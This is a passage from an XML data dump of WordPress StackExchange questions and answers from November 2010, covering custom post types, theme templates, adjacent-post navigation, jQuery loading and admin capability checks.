$post_ID;&#xA;}&#xA;&#xA;add_action ( 'publish_post', 'post_votes' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-18T01:08:57.643" CommentCount="2" />
  <row Id="4209" PostTypeId="1" AcceptedAnswerId="4503" CreationDate="2010-11-18T01:36:47.153" Score="0" ViewCount="290" Body="&lt;p&gt;I currently have a webside called storelocator.no.&lt;br&gt;&#xA;Here you can search for a brand, and you can see what stores sells this brand.&lt;br&gt;&#xA;Clicking a store, you will see what brands this store has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I am using custom database for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now that WP has custom post types, I'm considering if I should create a custom post type for a store and one custom post type for a brand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still have to make the connection between store and brand -&gt; A store can have many brands, a brand can be in many stores.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have to connect certain users up to a store or brand (store owner or brand owner), så that they can maintain infromation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normal users can also sign up, so that they can add extra stores / labels into the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have over 7.000 brands registered, and I will in due time have mane stores in the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I stick to custom tables? Or should I take advantage of WP Custom post types?&#xA;Would the site be slower using custom post types if I have several thousands entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, another thing. A user is never backend in WP to register data., Everything is done from front end.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2010-12-03T19:27:01.597" Title="Custom post types or not custom post types?" Tags="&lt;custom-post-types&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="4210" PostTypeId="1" AcceptedAnswerId="4211" CreationDate="2010-11-18T02:12:02.943" Score="1" ViewCount="207" Body="&lt;p&gt;I want to add 2 more rows (for voting up or down) to my default wordpress posts table. Would those rows be deleted when I update my WP version, or cause any other problem? An alternative would be to create a separate table but it's much faster and easier to query from 1 in my case.&lt;/p&gt;&#xA;" OwnerUserId="1613" LastActivityDate="2010-11-18T02:57:17.410" Title="Adding new row to wp_post table" Tags="&lt;database&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="4211" PostTypeId="2" ParentId="4210" CreationDate="2010-11-18T02:57:17.410" Score="3" ViewCount="" Body="&lt;p&gt;First, I assume you're referring to columns, not rows.  To answer your question, no, the upgrade process will not remove the extra columns from the posts table.  That said, WordPress has the wp_postmeta table that should be used to store extra data about posts rather than adding columns to the posts table.  I would suggest using the postmeta table instead of modifying the core database.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-18T02:57:17.410" CommentCount="2" />
  <row Id="4212" PostTypeId="2" ParentId="2666" CreationDate="2010-11-18T03:15:37.403" Score="0" ViewCount="" Body="&lt;p&gt;Had some issues with separators not being added, it was due to the way wordpress removes duplicate separators. Adding &lt;code&gt;ksort($menu);&lt;/code&gt; to the bottom of the function corrected the issue.&lt;/p&gt;&#xA;" LastActivityDate="2010-11-18T03:15:37.403" />
  <row Id="4213" PostTypeId="1" CreationDate="2010-11-18T04:16:32.990" Score="0" ViewCount="126" Body="&lt;p&gt;as you know the sidebar parameters from &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_sidebar&quot; rel=&quot;nofollow&quot;&gt;register_sidebar()&lt;/a&gt; that control the widget layout are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- before_widget&#xA;- after_widget&#xA;- before_title&#xA;- after_title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the problem is that you cannot implement certain type of designs because a parameter like '&lt;code&gt;before_content&lt;/code&gt;' is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;title&quot;&amp;gt;&#xA;    title  &#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;    content&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a HTML structure like this is only possible if you add  &lt;code&gt;&amp;lt;div class=&quot;content&quot;&amp;gt;&lt;/code&gt; in the &lt;code&gt;after_title&lt;/code&gt; parameter. The problem is that if you do this, widgets without titles will break the page layout :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so is there a solution to somehow add that &lt;code&gt;&amp;lt;div class=&quot;content&quot;&amp;gt;&lt;/code&gt; after &lt;code&gt;div.title&lt;/code&gt;, or after &lt;code&gt;div.container&lt;/code&gt; if title is missing?&lt;/p&gt;&#xA;" OwnerUserId="600" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T17:24:34.743" LastActivityDate="2011-08-29T22:36:35.007" Title="Missing sidebar parameter &quot;fix&quot; - before_content" Tags="&lt;php&gt;&lt;widgets&gt;&lt;sidebar&gt;&lt;css&gt;&lt;html&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="4216" PostTypeId="1" AcceptedAnswerId="4230" CreationDate="2010-11-18T06:35:31.090" Score="0" ViewCount="316" Body="&lt;p&gt;Ok, I'm using the TagCloudShortCode plugin. I have a problem with how my tag pages display.... I want them to display the way they show on my main page, with the image and more button... how do I change the way it displays?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want it to display like this &lt;code&gt;http://www.top-iphone-apps.info/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it displays like this &lt;code&gt;http://www.top-iphone-apps.info/?tag=free&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I know very little about coding, so try to be specific, and if you give me code explain what each line does so I can learn please)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update... &#xA;I fixed it by changing this in the index.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_archive() || is_search() ) : // Only display excerpts for archives and search. ?&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-summary&quot;&amp;gt;&#xA;                &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-summary --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_archive() || is_search() ) : // Only display excerpts for archives and search. ?&amp;gt;&#xA;            &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;                &amp;lt;?php the_content( __( 'Continue reading &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;rarr;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&#xA;                &amp;lt;?php wp_link_pages( array( 'before' =&amp;gt; '&amp;lt;div class=&quot;page-link&quot;&amp;gt;' . __( 'Pages:', 'twentyten' ), 'after' =&amp;gt; '&amp;lt;/div&amp;gt;' ) ); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;basically copying the stuff from the else statemnt. It worked, but I know it's a sloppy way of fixing it, so if anyone can tell me the better way of doing it I'd appreciate it.&lt;/p&gt;&#xA;" OwnerUserId="1618" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-11-18T11:42:09.563" LastActivityDate="2010-11-18T12:04:28.057" Title="How can I change how my tag pages display?" Tags="&lt;loop&gt;&lt;theme-twenty-ten&gt;" AnswerCount="2" />
  <row Id="4217" PostTypeId="1" AcceptedAnswerId="4284" CreationDate="2010-11-18T06:59:13.067" Score="2" ViewCount="119" Body="&lt;p&gt;I'm using the similar posts plugin &lt;code&gt;http://wordpress.org/extend/plugins/similar-posts/&lt;/code&gt;, and I want the similar posts to show on the same line instead of as a list...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like&#xA;link 1, link 2, link 3, link 4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;br&gt;&#xA;link 1&lt;br&gt;&#xA;link 2&lt;br&gt;&#xA;link 3&lt;br&gt;&#xA;link 4  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I posted this on the wordpress forum and on the plugin's official site days ago and still no answer... please help me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I know very little about coding, so try to be specific, and if you give me code explain what each line does so I can learn please)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added info:&#xA;I'm using mostly default settings for the plugin, I think the only change I made was to set it to only consider tags.  I would think there would be something I could change on the output settings tab, but I have no idea what.  I've got it set to display after the content because I couldn't figure out what file to put &lt;code&gt;&amp;lt;?php similar_posts(); ?&amp;gt;&lt;/code&gt; and that's really where I wanted it anyways so it worked out perfectly.&#xA;Oh, I am using the default theme Twenty Ten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow the link to wordpress forums in my chosen answer below for the missing parts of the discussion.&lt;/p&gt;&#xA;" OwnerUserId="1618" LastEditorUserId="1618" LastEditorDisplayName="" LastEditDate="2010-11-21T13:27:19.373" LastActivityDate="2010-11-21T13:27:19.373" Title="Similar posts formatting" Tags="&lt;list&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="4218" PostTypeId="2" ParentId="4216" CreationDate="2010-11-18T08:31:04.530" Score="0" ViewCount="" Body="&lt;p&gt;open the file &quot;tag.php&quot; in an an editor, replace&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_template_part( 'loop', 'tag' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_template_part( 'loop', 'index' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-18T08:31:04.530" CommentCount="4" />
  <row Id="4220" PostTypeId="1" AcceptedAnswerId="4369" CreationDate="2010-11-18T09:01:21.917" Score="1" ViewCount="518" Body="&lt;p&gt;I really need your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my single.php I had to get the next post in the same category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(which i already have by:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$in_same_cat = true;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$excluded_categories = '';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$previous = false;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$next_post = get_adjacent_post($in_same_cat,$excluded_categories,$previous);)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now I need the &lt;strong&gt;next next&lt;/strong&gt; post and also in the opposite direction  &lt;strong&gt;previous previous&lt;/strong&gt; post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanx&lt;/p&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2010-11-21T09:12:02.930" Title="get next next post in single.php" Tags="&lt;posts&gt;&lt;next-post-link&gt;" AnswerCount="3" />
  <row Id="4221" PostTypeId="2" ParentId="4220" CreationDate="2010-11-18T09:14:18.593" Score="2" ViewCount="" Body="&lt;p&gt;Hi&lt;br&gt;&#xA;Try to use the get_adjacent_post function according to this link&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/how-to-get-next-post-id&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/how-to-get-next-post-id&lt;/a&gt;&lt;br&gt;&#xA;you can create a small loop that will get the ID of the next post and then use&#xA;the function again on the ID that you've received to get the next next ID.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prevPost = get_previous_post();&#xA;$i = 0;  &#xA;$num_prev_posts = 4;  &#xA;while ($i &amp;lt; $num_prev_posts) //needs to check if $prevPost exists. while ($i &amp;lt; $num_prev_posts &amp;amp;&amp;amp; !empty($prevPost)) doesn't work. &#xA;{  &#xA;    get_permalink($post-&amp;gt;ID); //and other such functions that work on the global $post should now work.  &#xA;    $i++;  &#xA;    $prevPost = get_previous_post(); // and then there should be a check if $prevPost is empty or not  &#xA;    print_r($prevPost);  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will bring the previous 4 posts.&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/get-next-5-posts-from-the-current-post&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/get-next-5-posts-from-the-current-post&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1204" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-11-18T09:47:17.403" LastActivityDate="2010-11-18T09:47:17.403" />
  <row Id="4222" PostTypeId="2" ParentId="4220" CreationDate="2010-11-18T09:45:40.040" Score="2" ViewCount="" Body="&lt;p&gt;See answer here for some code that fetches several adjacent posts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2759/getting-the-next-and-previous-posts-titles-in-the-sidebar/2761#2761&quot;&gt;Getting the Next and Previous Posts Titles in the Sidebar?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-18T09:45:40.040" />
  <row Id="4223" PostTypeId="1" AcceptedAnswerId="4227" CreationDate="2010-11-18T10:51:15.813" Score="1" ViewCount="165" Body="&lt;p&gt;What do you think of killing jQuery in the public facing WP site? Isn't it useless and making for slower page loading? What's the best way to get rid of it?&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2010-11-18T22:34:11.960" Title="What do I need jQuery for?" Tags="&lt;jquery&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="4224" PostTypeId="2" ParentId="4223" CreationDate="2010-11-18T10:59:55.543" Score="1" ViewCount="" Body="&lt;p&gt;It's up to you whether you want to use jQuery in your site (on the public site) or not. It's a part of the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it's your choice. The best way to get rid of it - simply don't include it in your theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the question here again?&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2010-11-18T10:59:55.543" />
  <row Id="4225" PostTypeId="1" AcceptedAnswerId="4226" CreationDate="2010-11-18T11:01:34.197" Score="1" ViewCount="137" Body="&lt;p&gt;I need to show some info only to admins visiting a page, so I need a conditional tag to identify them. So far I have found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( current_user_can('manage_options') ): ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is this the correct function?&lt;/p&gt;&#xA;" OwnerUserId="745" LastActivityDate="2010-11-18T11:38:14.107" Title="How to tell if the user is an admin?" Tags="&lt;theme-development&gt;&lt;conditional-content&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="4226" PostTypeId="2" ParentId="4225" CreationDate="2010-11-18T11:11:14.477" Score="3" ViewCount="" Body="&lt;p&gt;Yes, that's good. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can be a little safer using &lt;code&gt;&amp;lt;?php if(current_user_can('manage_plugins') ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2010-11-18T11:11:14.477" CommentCount="2" />
  <row Id="4227" PostTypeId="2" ParentId="4223" CreationDate="2010-11-18T11:18:18.773" Score="2" ViewCount="" Body="&lt;p&gt;jQuery is loaded by the theme that you use and not by WordPress. The theme must be modified to not load jQuery. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Useless? not sure. It is very useful. Many themes' UI elements and even design elements may depend on jQuery. &lt;/p&gt;&#xA;" OwnerUserId="353" LastActivityDate="2010-11-18T11:18:18.773" CommentCount="7" />
  <row Id="4228" PostTypeId="2" ParentId="4223" CreationDate="2010-11-18T11:34:35.573" Score="2" ViewCount="" Body="&lt;p&gt;jQuery is a library loaded on demand (either copy bundled with WordPress or from other server).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove it you first have to determine how is it getting added, which is most probably by theme or plugin. Proper way is usage of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script()&lt;/code&gt;&lt;/a&gt; function, but many poorly coded themes/plugins can echo it directly and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case of theme (that you are not going to update) you can simply edit code out. For theme or plugin that must be compatible with future updates you will need to remove script registration from API hooks - best case scenario. Worst case scenario that it won't be possible without editing files.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-18T11:34:35.573" />
  <row Id="4229" PostTypeId="2" ParentId="4225" CreationDate="2010-11-18T11:38:14.107" Score="2" ViewCount="" Body="&lt;p&gt;I think it is better to check for role rather than specific capability for such purpose, this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( current_user_can('administrator') ): ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;Roles and Capabilities&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-18T11:38:14.107" CommentCount="3" />
  <row Id="4230" PostTypeId="2" ParentId="4216" CreationDate="2010-11-18T11:54:11.743" Score="0" ViewCount="" Body="&lt;p&gt;First, the root of your issue is that WordPress has two very different template tags to output posts: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_content&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_content()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_excerpt&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_excerpt()&lt;/code&gt;&lt;/a&gt;. There are a lot of nuances with these and many get details wrong, I did my best to get everything right in post at my blog if you are interested that &lt;a href=&quot;http://www.rarst.net/script/wordpress-excerpt-teaser/&quot; rel=&quot;nofollow&quot;&gt;Make sense of WordPress excerpts and teasers&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this specific case you want &lt;code&gt;the_content()&lt;/code&gt;, but theme uses &lt;code&gt;the_excerpt()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply editing it as in your follow-up in question is not really sloppy, actually it is the only (non-messy) way to change one of these to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is you will lose your edits next time you update Twenty Ten (or WordPress, since Twenty Ten is part of package).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The slightly more complex, but solid and upgrade proof way is to create child theme for Twenty Ten and apply your tweaks there.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create child theme, see &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;Child Themes&lt;/a&gt; in Codex. It uses Twenty Ten as example, should be easy to follow.&lt;/li&gt;&#xA;&lt;li&gt;Switch to your child theme, at start it would be identical to Twenty Ten.&lt;/li&gt;&#xA;&lt;li&gt;Create file &lt;code&gt;loop-tag.php&lt;/code&gt; in your child theme's folder.&lt;/li&gt;&#xA;&lt;li&gt;Copy content of Twenty Ten &lt;code&gt;loop.php&lt;/code&gt; to that &lt;code&gt;loop-tag.php&lt;/code&gt; you created.&lt;/li&gt;&#xA;&lt;li&gt;Apply your edits to &lt;code&gt;loop-tag.php&lt;/code&gt; (you can probably just throw out extra stuff if you feel like it, this file will only load for tag archive pages).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2010-11-18T12:04:28.057" LastActivityDate="2010-11-18T12:04:28.057" CommentCount="4" />
  <row Id="4231" PostTypeId="1" AcceptedAnswerId="4232" CreationDate="2010-11-18T12:27:49.410" Score="0" ViewCount="287" Body="&lt;p&gt;I'm trying to set up a portfolio page on my wordpress website, and I would like the following construct:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/blog/ where I blog all kinds of things, including portfolio entries&lt;/li&gt;&#xA;&lt;li&gt;/portfolio/ where I show just posts from my portfolio category&lt;/li&gt;&#xA;&lt;li&gt;some regular /pagename/ pages (about, contact, etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want the portfolio section to have a separate style (and even html probably) than a regular category overview. So if someone clicks one of the categories in my blog they still see the normal /category/randomcategory/ overview page. This means I can't just change the category php page and/or the css, because the portfolio page is different from the regular view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set up my page so that it shows the posts in the category portfolio the way I want?&lt;/p&gt;&#xA;" OwnerUserId="1620" LastActivityDate="2010-11-18T13:08:11.870" Title="Use a wordpress page to display a certain category" Tags="&lt;categories&gt;&lt;customization&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="4232" PostTypeId="2" ParentId="4231" CreationDate="2010-11-18T12:40:24.077" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://codex.wordpress.org/Pages#A_Page_of_Posts&quot; rel=&quot;nofollow&quot;&gt;page of posts&lt;/a&gt; example pulls posts from one category, it uses a custom field to designate the category, which in turn makes the page template re-usable on other pages with other categories to, if you so choose..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can style that template however you like..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2010-11-18T12:40:24.077" CommentCount="1" />
  <row Id="4233" PostTypeId="2" ParentId="4231" CreationDate="2010-11-18T12:43:25.193" Score="1" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy&lt;/a&gt; .&#xA;You can see in the category template section that you can use either category-10.php or category-portfolio.php (in case your portfolio category id is 10 and the slug is &quot;portfolio&quot;) to override the default archive.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, you can customize the HTML/CSS in the new file you create  and it will have an effect only on the portfolio template.&lt;/p&gt;&#xA;" OwnerUserId="1502" LastEditorUserId="1502" LastEditorDisplayName="" LastEditDate="2010-11-18T13:08:11.870" LastActivityDate="2010-11-18T13:08:11.870" />
  <row Id="4234" PostTypeId="2" ParentId="4231" CreationDate="2010-11-18T12:45:36.010" Score="1" ViewCount="" Body="&lt;p&gt;First, you will need to create custom page template. Refer to &lt;a href=&quot;http://codex.wordpress.org/Pages&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; to see how to create it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, on that page (you can copy from your page.php/index.php, the important part is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (have_posts()) : while (have_posts()) : the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Find that piece and add this code just right above that code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('cat=3&amp;amp;paged='.get_query_var( 'paged' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Things to note from above &lt;code&gt;query_posts&lt;/code&gt; snippet is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;cat&lt;/strong&gt;: this is the category ID you want to query. To easily see what ID is on a particular category, you can use &lt;a href=&quot;http://ounziw.com/2010/02/05/showid/&quot; rel=&quot;nofollow&quot;&gt;ShowID for Post/Page/Category/Tag/Comment&lt;/a&gt; plugin.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;paged&lt;/strong&gt;: Paged will allow your custom page to handle next &amp;amp; prev navigations, which is handled by &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/next_post_link&quot; rel=&quot;nofollow&quot;&gt;next_post_link()&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/previous_post_link&quot; rel=&quot;nofollow&quot;&gt;prev_post_link()&lt;/a&gt;. As for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_query_var&quot; rel=&quot;nofollow&quot;&gt;get_query_var( 'paged' )&lt;/a&gt; is function to get what page's page you currently see. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope that helped. &lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-11-18T12:45:36.010" CommentCount="3" />
  <row Id="4236" PostTypeId="1" CreationDate="2010-11-18T14:14:03.897" Score="0" ViewCount="138" Body="&lt;p&gt;There are special characters that can cause problems in word press, like the infamous microsoft word smart quotes. However, there are many that are captured and dealt with. My collegue and I have written a plugin that, even if it just passes the content through, stops wordpress from handling many of these characters properly. It shows particularly on foreign language web sites like a German one where special characters are handled just fine until my plugin is activated. Why is this so?&lt;/p&gt;&#xA;" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:37:34.843" LastActivityDate="2011-06-07T14:37:34.843" Title="Problems with wierd characters and my plugin" Tags="&lt;plugin-development&gt;&lt;encoding&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="4237" PostTypeId="1" CreationDate="2010-11-18T14:14:33.413" Score="0" ViewCount="74" Body="&lt;p&gt;Is there a method or API that WordPress uses to encode the URLs similar to how it generates part of the URL when using the title in the URL? I am writing a plugin that generates URLs and would like to use the same method as everything else is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I type &quot;This is my blog post&quot; in the title and &quot;this-is-my-blog-post&quot; gets generated. &lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2010-11-18T14:46:36.887" Title="Encoding Method for URLs?" Tags="&lt;plugin-development&gt;&lt;api&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="4238" PostTypeId="2" ParentId="4237" CreationDate="2010-11-18T14:46:36.887" Score="1" ViewCount="" Body="&lt;p&gt;Post slugs seem to be generated by &lt;code&gt;wp_unique_post_slug()&lt;/code&gt; function (&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-includes/post.php#L2518&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-18T14:46:36.887" />
  <row Id="4239" PostTypeId="1" AcceptedAnswerId="4244" CreationDate="2010-11-18T15:22:03.000" Score="2" ViewCount="108" Body="&lt;p&gt;So a few days ago I added the following code to Geek for Him and obviously missed the nested comments portion. This is implemented on many other sites of mine, without Standard Theme of coarse and working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the link here - geekforhim dot com is the site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A comment is made, I comment (highlight works) someone comments below me and it's highlighted also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.commentlist li.bypostauthor, li.comment-author-admin {&#xA;background-color: #E0E0E0 !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I have figured out that fi I add a background to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#comments ul.children {&#xA;background:none repeat scroll 0 0 #FFFFFF;&#xA;margin:10px 0 0 25px;&#xA;padding:0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it works, but its very ugly. Any cleaner ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See image below on what seems to messed up &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have noticed that the comments themselves are one. What I mean by this is that 4 nested comments below one all equal one comment. This is not correctly coded in my mind and probably a bug fix? Any ideas or workarounds do let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;UPDATED&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the guidance below I was able to figure out what I was after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to t31os!!&lt;/p&gt;&#xA;" OwnerUserId="1623" LastEditorUserId="1623" LastEditorDisplayName="" LastEditDate="2010-11-18T17:44:18.253" LastActivityDate="2011-06-14T04:20:02.827" Title="Highlight Author Comments issues" Tags="&lt;comments&gt;" AnswerCount="1" />
